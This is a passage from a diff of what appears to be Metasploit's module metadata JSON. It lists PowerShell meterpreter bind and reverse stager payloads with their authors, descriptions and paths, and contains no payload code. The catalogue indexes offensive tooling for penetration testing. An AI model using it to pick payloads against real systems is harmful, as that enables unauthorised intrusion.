"cmd/windows/powershell/meterpreter/bind_ipv6_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/meterpreter/bind_named_pipe": { + "name": "Powershell Exec, Windows x86 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/powershell/meterpreter/bind_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "skape ", + "sf ", + "OJ Reeves", + "UserExistsError" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a pipe connection (Windows x86)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/meterpreter/bind_named_pipe", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/powershell/meterpreter/bind_nonx_tcp": { + "name": "Powershell Exec, Bind TCP Stager (No NX or Win7)", + "fullname": "payload/cmd/windows/powershell/meterpreter/bind_nonx_tcp", "aliases": [ ], @@ -179304,11 +188717,16 @@ "disclosure_date": null, "type": "payload", "author": [ - "juan vazquez " + "Spencer McIntyre", + "skape ", + "sf ", + "OJ Reeves", + "vlad902 " ], - "description": "Executes the supplied command", + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (No NX)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -179316,10 +188734,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/singles/cmd/windows/generic.rb", + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/generic", + "ref_name": "cmd/windows/powershell/meterpreter/bind_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -179328,9 +188746,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/jjs_reverse_tcp": { - "name": "Windows Shell, Reverse TCP (via jjs)", - "fullname": "payload/cmd/windows/jjs_reverse_tcp", + "payload_cmd/windows/powershell/meterpreter/bind_tcp": { + "name": "Powershell Exec, Bind TCP Stager (Windows x86)", + "fullname": "payload/cmd/windows/powershell/meterpreter/bind_tcp", "aliases": [ ], @@ -179338,14 +188756,16 @@ "disclosure_date": null, "type": "payload", "author": [ - "conerpirate", - "bcoles " + "Spencer McIntyre", + "skape ", + "sf ", + "OJ Reeves", + "hdm " ], - "description": "Connect back and create a command shell via jjs", + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (Windows x86)", "references": [ - "URL-https://gtfobins.github.io/gtfobins/jjs/", - "URL-https://cornerpirate.com/2018/08/17/java-gives-a-shell-for-everything/", - "URL-https://h4wkst3r.blogspot.com/2018/05/code-execution-with-jdk-scripting-tools.html" + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -179353,10 +188773,10 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/windows/jjs_reverse_tcp.rb", + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/jjs_reverse_tcp", + "ref_name": "cmd/windows/powershell/meterpreter/bind_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -179365,9 +188785,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/adduser": { - "name": "Powershell Exec", - "fullname": "payload/cmd/windows/powershell/adduser", + "payload_cmd/windows/powershell/meterpreter/bind_tcp_rc4": { + "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/meterpreter/bind_tcp_rc4", "aliases": [ ], @@ -179376,14 +188796,17 @@ "type": "payload", "author": [ "Spencer McIntyre", + "skape ", + "sf ", + "OJ Reeves", "hdm ", - "Chris John Riley", - "vlad902 ", - "sf " + "mihi", + "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell", + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -179394,7 +188817,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/adduser", + "ref_name": "cmd/windows/powershell/meterpreter/bind_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, @@ -179403,9 +188826,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/custom/bind_hidden_ipknock_tcp": { - "name": "Powershell Exec, Windows shellcode stage, Hidden Bind Ipknock TCP Stager", - "fullname": "payload/cmd/windows/powershell/custom/bind_hidden_ipknock_tcp", + "payload_cmd/windows/powershell/meterpreter/bind_tcp_uuid": { + "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x86)", + "fullname": "payload/cmd/windows/powershell/meterpreter/bind_tcp_uuid", "aliases": [ ], @@ -179414,15 +188837,15 @@ "type": "payload", "author": [ "Spencer McIntyre", - "bwatters-r7", - "hdm ", "skape ", "sf ", - "Borja Merino " + "OJ Reeves", + "hdm " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection. First, the port will need to be knocked from\nthe IP defined in KHOST. This IP will work as an authentication method\n(you can spoof it with tools like hping). After that you could get your\nshellcode from any IP. The socket will appear as \"closed,\" thus helping to\nhide the shellcode", + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection with UUID Support (Windows x86)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -179433,7 +188856,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/bind_hidden_ipknock_tcp", + "ref_name": "cmd/windows/powershell/meterpreter/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -179442,9 +188865,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/custom/bind_hidden_tcp": { - "name": "Powershell Exec, Windows shellcode stage, Hidden Bind TCP Stager", - "fullname": "payload/cmd/windows/powershell/custom/bind_hidden_tcp", + "payload_cmd/windows/powershell/meterpreter/find_tag": { + "name": "Powershell Exec, Find Tag Ordinal Stager", + "fullname": "payload/cmd/windows/powershell/meterpreter/find_tag", "aliases": [ ], @@ -179453,15 +188876,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "bwatters-r7", - "hdm ", "skape ", "sf ", - "Borja Merino " + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection from a hidden port and spawn a command shell to the allowed host.", + "description": "Execute an x86 payload from a command via PowerShell.\n\nUse an established connection", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -179472,7 +188894,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/bind_hidden_tcp", + "ref_name": "cmd/windows/powershell/meterpreter/find_tag", "check": false, "post_auth": false, "default_credential": false, @@ -179481,9 +188903,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/custom/bind_ipv6_tcp": { - "name": "Powershell Exec, Windows shellcode stage, Bind IPv6 TCP Stager (Windows x86)", - "fullname": "payload/cmd/windows/powershell/custom/bind_ipv6_tcp", + "payload_cmd/windows/powershell/meterpreter/reverse_hop_http": { + "name": "Powershell Exec, Reverse Hop HTTP/HTTPS Stager", + "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_hop_http", "aliases": [ ], @@ -179492,14 +188914,17 @@ "type": "payload", "author": [ "Spencer McIntyre", - "bwatters-r7", - "hdm ", "skape ", - "sf " + "sf ", + "OJ Reeves", + "scriptjunkie ", + "bannedit ", + "hdm " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for an IPv6 connection (Windows x86)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over an HTTP or HTTPS hop point. Note that you must first upload\ndata/hop/hop.php to the PHP server you wish to use as a hop.", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -179510,7 +188935,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/bind_ipv6_tcp", + "ref_name": "cmd/windows/powershell/meterpreter/reverse_hop_http", "check": false, "post_auth": false, "default_credential": false, @@ -179519,9 +188944,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/custom/bind_ipv6_tcp_uuid": { - "name": "Powershell Exec, Windows shellcode stage, Bind IPv6 TCP Stager with UUID Support (Windows x86)", - "fullname": "payload/cmd/windows/powershell/custom/bind_ipv6_tcp_uuid", + "payload_cmd/windows/powershell/meterpreter/reverse_http": { + "name": "Powershell Exec, Windows Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_http", "aliases": [ ], @@ -179530,15 +188955,15 @@ "type": "payload", "author": [ "Spencer McIntyre", - "bwatters-r7", - "hdm ", "skape ", "sf ", - "OJ Reeves" + "OJ Reeves", + "hdm " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for an IPv6 connection with UUID Support (Windows x86)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows wininet)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -179549,7 +188974,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/bind_ipv6_tcp_uuid", + "ref_name": "cmd/windows/powershell/meterpreter/reverse_http", "check": false, "post_auth": false, "default_credential": false, @@ -179558,9 +188983,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/custom/bind_named_pipe": { - "name": "Powershell Exec, Windows shellcode stage, Windows x86 Bind Named Pipe Stager", - "fullname": "payload/cmd/windows/powershell/custom/bind_named_pipe", + "payload_cmd/windows/powershell/meterpreter/reverse_http_proxy_pstore": { + "name": "Powershell Exec, Reverse HTTP Stager Proxy", + "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_http_proxy_pstore", "aliases": [ ], @@ -179569,12 +188994,15 @@ "type": "payload", "author": [ "Spencer McIntyre", - "bwatters-r7", - "UserExistsError" + "skape ", + "sf ", + "OJ Reeves", + "hdm " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a pipe connection (Windows x86)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTP", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -179585,7 +189013,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/bind_named_pipe", + "ref_name": "cmd/windows/powershell/meterpreter/reverse_http_proxy_pstore", "check": false, "post_auth": false, "default_credential": false, @@ -179594,9 +189022,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/custom/bind_nonx_tcp": { - "name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/custom/bind_nonx_tcp", + "payload_cmd/windows/powershell/meterpreter/reverse_https": { + "name": "Powershell Exec, Windows Reverse HTTPS Stager (wininet)", + "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_https", "aliases": [ ], @@ -179605,12 +189033,15 @@ "type": "payload", "author": [ "Spencer McIntyre", - "bwatters-r7", - "vlad902 " + "skape ", + "sf ", + "OJ Reeves", + "hdm " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection (No NX)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTPS (Windows wininet)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -179621,7 +189052,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/bind_nonx_tcp", + "ref_name": "cmd/windows/powershell/meterpreter/reverse_https", "check": false, "post_auth": false, "default_credential": false, @@ -179630,9 +189061,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/custom/bind_tcp": { - "name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager (Windows x86)", - "fullname": "payload/cmd/windows/powershell/custom/bind_tcp", + "payload_cmd/windows/powershell/meterpreter/reverse_https_proxy": { + "name": "Powershell Exec, Reverse HTTPS Stager with Support for Custom Proxy", + "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_https_proxy", "aliases": [ ], @@ -179641,14 +189072,17 @@ "type": "payload", "author": [ "Spencer McIntyre", - "bwatters-r7", - "hdm ", "skape ", - "sf " + "sf ", + "OJ Reeves", + "hdm ", + "corelanc0d3r ", + "amaloteaux " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection (Windows x86)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTP using SSL with custom proxy support", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -179659,7 +189093,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/bind_tcp", + "ref_name": "cmd/windows/powershell/meterpreter/reverse_https_proxy", "check": false, "post_auth": false, "default_credential": false, @@ -179668,9 +189102,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/custom/bind_tcp_rc4": { - "name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/custom/bind_tcp_rc4", + "payload_cmd/windows/powershell/meterpreter/reverse_ipv6_tcp": { + "name": "Powershell Exec, Reverse TCP Stager (IPv6)", + "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_ipv6_tcp", "aliases": [ ], @@ -179679,16 +189113,15 @@ "type": "payload", "author": [ "Spencer McIntyre", - "bwatters-r7", - "hdm ", "skape ", "sf ", - "mihi", - "RageLtMan" + "OJ Reeves", + "hdm " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker over IPv6", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -179699,18 +189132,18 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/bind_tcp_rc4", + "ref_name": "cmd/windows/powershell/meterpreter/reverse_ipv6_tcp", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/custom/bind_tcp_uuid": { - "name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x86)", - "fullname": "payload/cmd/windows/powershell/custom/bind_tcp_uuid", + "payload_cmd/windows/powershell/meterpreter/reverse_named_pipe": { + "name": "Powershell Exec, Windows x86 Reverse Named Pipe (SMB) Stager", + "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_named_pipe", "aliases": [ ], @@ -179719,13 +189152,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "bwatters-r7", - "hdm ", + "skape ", + "sf ", "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection with UUID Support (Windows x86)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker via a named pipe pivot", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -179736,7 +189170,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/bind_tcp_uuid", + "ref_name": "cmd/windows/powershell/meterpreter/reverse_named_pipe", "check": false, "post_auth": false, "default_credential": false, @@ -179745,9 +189179,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/custom/find_tag": { - "name": "Powershell Exec, Windows shellcode stage, Find Tag Ordinal Stager", - "fullname": "payload/cmd/windows/powershell/custom/find_tag", + "payload_cmd/windows/powershell/meterpreter/reverse_nonx_tcp": { + "name": "Powershell Exec, Reverse TCP Stager (No NX or Win7)", + "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_nonx_tcp", "aliases": [ ], @@ -179756,12 +189190,15 @@ "type": "payload", "author": [ "Spencer McIntyre", - "bwatters-r7", - "skape " + "skape ", + "sf ", + "OJ Reeves", + "vlad902 " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nUse an established connection", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker (No NX)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -179772,7 +189209,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/find_tag", + "ref_name": "cmd/windows/powershell/meterpreter/reverse_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -179781,9 +189218,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/custom/reverse_hop_http": { - "name": "Powershell Exec, Windows shellcode stage, Reverse Hop HTTP/HTTPS Stager", - "fullname": "payload/cmd/windows/powershell/custom/reverse_hop_http", + "payload_cmd/windows/powershell/meterpreter/reverse_ord_tcp": { + "name": "Powershell Exec, Reverse Ordinal TCP Stager (No NX or Win7)", + "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_ord_tcp", "aliases": [ ], @@ -179792,14 +189229,15 @@ "type": "payload", "author": [ "Spencer McIntyre", - "bwatters-r7", - "scriptjunkie ", - "bannedit ", - "hdm " + "skape ", + "sf ", + "OJ Reeves", + "spoonm " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over an HTTP or HTTPS hop point. Note that you must first upload\ndata/hop/hop.php to the PHP server you wish to use as a hop.", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -179810,7 +189248,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/reverse_hop_http", + "ref_name": "cmd/windows/powershell/meterpreter/reverse_ord_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -179819,9 +189257,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/custom/reverse_http": { - "name": "Powershell Exec, Windows shellcode stage, Windows Reverse HTTP Stager (wininet)", - "fullname": "payload/cmd/windows/powershell/custom/reverse_http", + "payload_cmd/windows/powershell/meterpreter/reverse_tcp": { + "name": "Powershell Exec, Reverse TCP Stager", + "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_tcp", "aliases": [ ], @@ -179830,12 +189268,15 @@ "type": "payload", "author": [ "Spencer McIntyre", - "bwatters-r7", + "skape ", + "sf ", + "OJ Reeves", "hdm " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows wininet)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -179846,7 +189287,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/reverse_http", + "ref_name": "cmd/windows/powershell/meterpreter/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -179855,9 +189296,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/custom/reverse_http_proxy_pstore": { - "name": "Powershell Exec, Windows shellcode stage, Reverse HTTP Stager Proxy", - "fullname": "payload/cmd/windows/powershell/custom/reverse_http_proxy_pstore", + "payload_cmd/windows/powershell/meterpreter/reverse_tcp_allports": { + "name": "Powershell Exec, Reverse All-Port TCP Stager", + "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_tcp_allports", "aliases": [ ], @@ -179866,12 +189307,15 @@ "type": "payload", "author": [ "Spencer McIntyre", - "bwatters-r7", + "skape ", + "sf ", + "OJ Reeves", "hdm " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP", + "description": "Execute an x86 payload from a command via PowerShell.\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -179882,7 +189326,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/reverse_http_proxy_pstore", + "ref_name": "cmd/windows/powershell/meterpreter/reverse_tcp_allports", "check": false, "post_auth": false, "default_credential": false, @@ -179891,9 +189335,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/custom/reverse_https": { - "name": "Powershell Exec, Windows shellcode stage, Windows Reverse HTTPS Stager (wininet)", - "fullname": "payload/cmd/windows/powershell/custom/reverse_https", + "payload_cmd/windows/powershell/meterpreter/reverse_tcp_dns": { + "name": "Powershell Exec, Reverse TCP Stager (DNS)", + "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_tcp_dns", "aliases": [ ], @@ -179902,12 +189346,16 @@ "type": "payload", "author": [ "Spencer McIntyre", - "bwatters-r7", - "hdm " + "skape ", + "sf ", + "OJ Reeves", + "hdm ", + "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTPS (Windows wininet)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -179918,7 +189366,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/reverse_https", + "ref_name": "cmd/windows/powershell/meterpreter/reverse_tcp_dns", "check": false, "post_auth": false, "default_credential": false, @@ -179927,9 +189375,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/custom/reverse_https_proxy": { - "name": "Powershell Exec, Windows shellcode stage, Reverse HTTPS Stager with Support for Custom Proxy", - "fullname": "payload/cmd/windows/powershell/custom/reverse_https_proxy", + "payload_cmd/windows/powershell/meterpreter/reverse_tcp_rc4": { + "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_tcp_rc4", "aliases": [ ], @@ -179938,14 +189386,17 @@ "type": "payload", "author": [ "Spencer McIntyre", - "bwatters-r7", + "skape ", + "sf ", + "OJ Reeves", "hdm ", - "corelanc0d3r ", - "amaloteaux " + "mihi", + "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP using SSL with custom proxy support", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -179956,18 +189407,18 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/reverse_https_proxy", + "ref_name": "cmd/windows/powershell/meterpreter/reverse_tcp_rc4", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/custom/reverse_ipv6_tcp": { - "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (IPv6)", - "fullname": "payload/cmd/windows/powershell/custom/reverse_ipv6_tcp", + "payload_cmd/windows/powershell/meterpreter/reverse_tcp_rc4_dns": { + "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", + "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_tcp_rc4_dns", "aliases": [ ], @@ -179976,14 +189427,17 @@ "type": "payload", "author": [ "Spencer McIntyre", - "bwatters-r7", - "hdm ", "skape ", - "sf " + "sf ", + "OJ Reeves", + "hdm ", + "mihi", + "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker over IPv6", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -179994,18 +189448,18 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/reverse_ipv6_tcp", + "ref_name": "cmd/windows/powershell/meterpreter/reverse_tcp_rc4_dns", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/custom/reverse_named_pipe": { - "name": "Powershell Exec, Windows shellcode stage, Windows x86 Reverse Named Pipe (SMB) Stager", - "fullname": "payload/cmd/windows/powershell/custom/reverse_named_pipe", + "payload_cmd/windows/powershell/meterpreter/reverse_tcp_uuid": { + "name": "Powershell Exec, Reverse TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_tcp_uuid", "aliases": [ ], @@ -180014,12 +189468,15 @@ "type": "payload", "author": [ "Spencer McIntyre", - "bwatters-r7", - "OJ Reeves" + "skape ", + "sf ", + "OJ Reeves", + "hdm " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker via a named pipe pivot", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker with UUID Support", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -180030,7 +189487,7 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/reverse_named_pipe", + "ref_name": "cmd/windows/powershell/meterpreter/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -180039,9 +189496,9 @@ "session_types": false, "needs_cleanup": false }, - 